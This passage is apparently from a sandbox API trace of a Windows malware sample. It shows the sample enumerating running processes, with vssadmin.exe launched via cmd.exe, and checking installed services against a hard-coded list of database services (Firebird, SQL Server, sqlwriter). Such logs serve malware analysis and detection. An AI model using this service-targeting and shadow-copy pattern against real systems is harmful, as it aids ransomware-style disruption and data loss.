lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.145] lstrlenW (lpString="svchost.exe") returned 11 [0133.145] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.146] lstrlenW (lpString="svchost.exe") returned 11 [0133.146] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.147] lstrlenW (lpString="svchost.exe") returned 11 [0133.147] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.148] lstrlenW (lpString="svchost.exe") returned 11 [0133.148] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.149] lstrlenW (lpString="svchost.exe") returned 11 [0133.149] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.150] lstrlenW (lpString="audiodg.exe") returned 11 [0133.150] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.151] lstrlenW (lpString="svchost.exe") returned 11 [0133.151] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.153] lstrlenW (lpString="svchost.exe") returned 11 [0133.153] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.154] lstrlenW (lpString="dwm.exe") returned 7 [0133.154] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.155] lstrlenW (lpString="explorer.exe") returned 12 [0133.155] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.156] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.156] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.157] lstrlenW (lpString="taskhost.exe") returned 12 [0133.157] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.158] lstrlenW (lpString="svchost.exe") returned 11 [0133.158] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0133.159] lstrlenW (lpString="taskeng.exe") returned 11 [0133.159] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.160] lstrlenW (lpString="taskhost.exe") returned 12 [0133.160] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0133.161] lstrlenW (lpString="fixwaves.exe") returned 12 [0133.161] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0133.162] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0133.162] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0133.162] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0133.163] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0133.163] lstrlenW (lpString="monsaver.exe") returned 12 [0133.163] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0133.164] lstrlenW (lpString="dosesugar.exe") returned 13 [0133.164] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0133.165] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0133.165] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0133.166] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0133.166] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0133.168] lstrlenW (lpString="nonprofit top.exe") returned 17 [0133.168] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0133.169] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0133.169] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0133.170] lstrlenW (lpString="accused.exe") returned 11 [0133.170] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0133.171] lstrlenW (lpString="governance.exe") returned 14 [0133.171] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0133.172] lstrlenW (lpString="old.exe") returned 7 [0133.172] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0133.173] lstrlenW (lpString="xi cg.exe") returned 9 [0133.173] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0133.174] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0133.174] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0133.175] lstrlenW (lpString="burlington.exe") returned 14 [0133.175] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0133.176] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0133.176] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0133.177] lstrlenW (lpString="buildings.exe") returned 13 [0133.177] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0133.178] lstrlenW (lpString="predictions_took.exe") returned 20 [0133.178] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0133.179] lstrlenW (lpString="carry_dns.exe") returned 13 [0133.179] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0133.180] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0133.180] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.181] lstrlenW (lpString="svchost.exe") returned 11 [0133.181] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0133.182] lstrlenW (lpString="sppsvc.exe") returned 10 [0133.182] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.183] lstrlenW (lpString="svchost.exe") returned 11 [0133.183] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0133.184] lstrlenW (lpString="msiexec.exe") returned 11 [0133.185] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0133.185] lstrlenW (lpString="cmd.exe") returned 7 [0133.185] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.186] lstrlenW (lpString="conhost.exe") returned 11 [0133.186] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0133.187] lstrlenW (lpString="vssadmin.exe") returned 12 [0133.187] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0133.188] lstrlenW (lpString="VSSVC.exe") returned 9 [0133.188] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.189] lstrlenW (lpString="svchost.exe") returned 11 [0133.189] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0133.190] CloseHandle (hObject=0x204) returned 1 [0133.190] Sleep (dwMilliseconds=0x1f4) [0133.697] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0133.698] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0133.698] GetLastError () returned 0xea [0133.698] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0133.698] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0133.699] lstrlenW (lpString="Appinfo") returned 7 [0133.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0133.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0133.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0133.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0133.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0133.699] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.699] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.699] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.699] lstrlenW (lpString="AudioSrv") returned 8 [0133.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0133.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0133.699] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0133.699] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0133.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0133.699] lstrlenW (lpString="BFE") returned 3 [0133.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.699] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.699] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.699] lstrlenW (lpString="CryptSvc") returned 8 [0133.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0133.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0133.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0133.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0133.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0133.699] lstrlenW (lpString="CscService") returned 10 [0133.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0133.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0133.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0133.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0133.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0133.699] lstrlenW (lpString="DcomLaunch") returned 10 [0133.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.700] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.700] lstrlenW (lpString="Dhcp") returned 4 [0133.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.700] lstrlenW (lpString="Dnscache") returned 8 [0133.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.700] lstrlenW (lpString="DPS") returned 3 [0133.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0133.700] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0133.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0133.700] lstrlenW (lpString="eventlog") returned 8 [0133.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0133.700] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0133.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0133.700] lstrlenW (lpString="EventSystem") returned 11 [0133.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.700] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.700] lstrlenW (lpString="FontCache") returned 9 [0133.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0133.700] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0133.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0133.700] lstrlenW (lpString="gpsvc") returned 5 [0133.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.700] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.701] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.701] lstrlenW (lpString="iphlpsvc") returned 8 [0133.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.701] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0133.701] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0133.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0133.701] lstrlenW (lpString="LanmanServer") returned 12 [0133.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0133.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0133.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0133.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0133.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0133.701] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.701] lstrlenW (lpString="lmhosts") returned 7 [0133.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.701] lstrlenW (lpString="MMCSS") returned 5 [0133.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0133.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0133.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0133.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0133.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0133.701] lstrlenW (lpString="MpsSvc") returned 6 [0133.701] lstrcmpiW 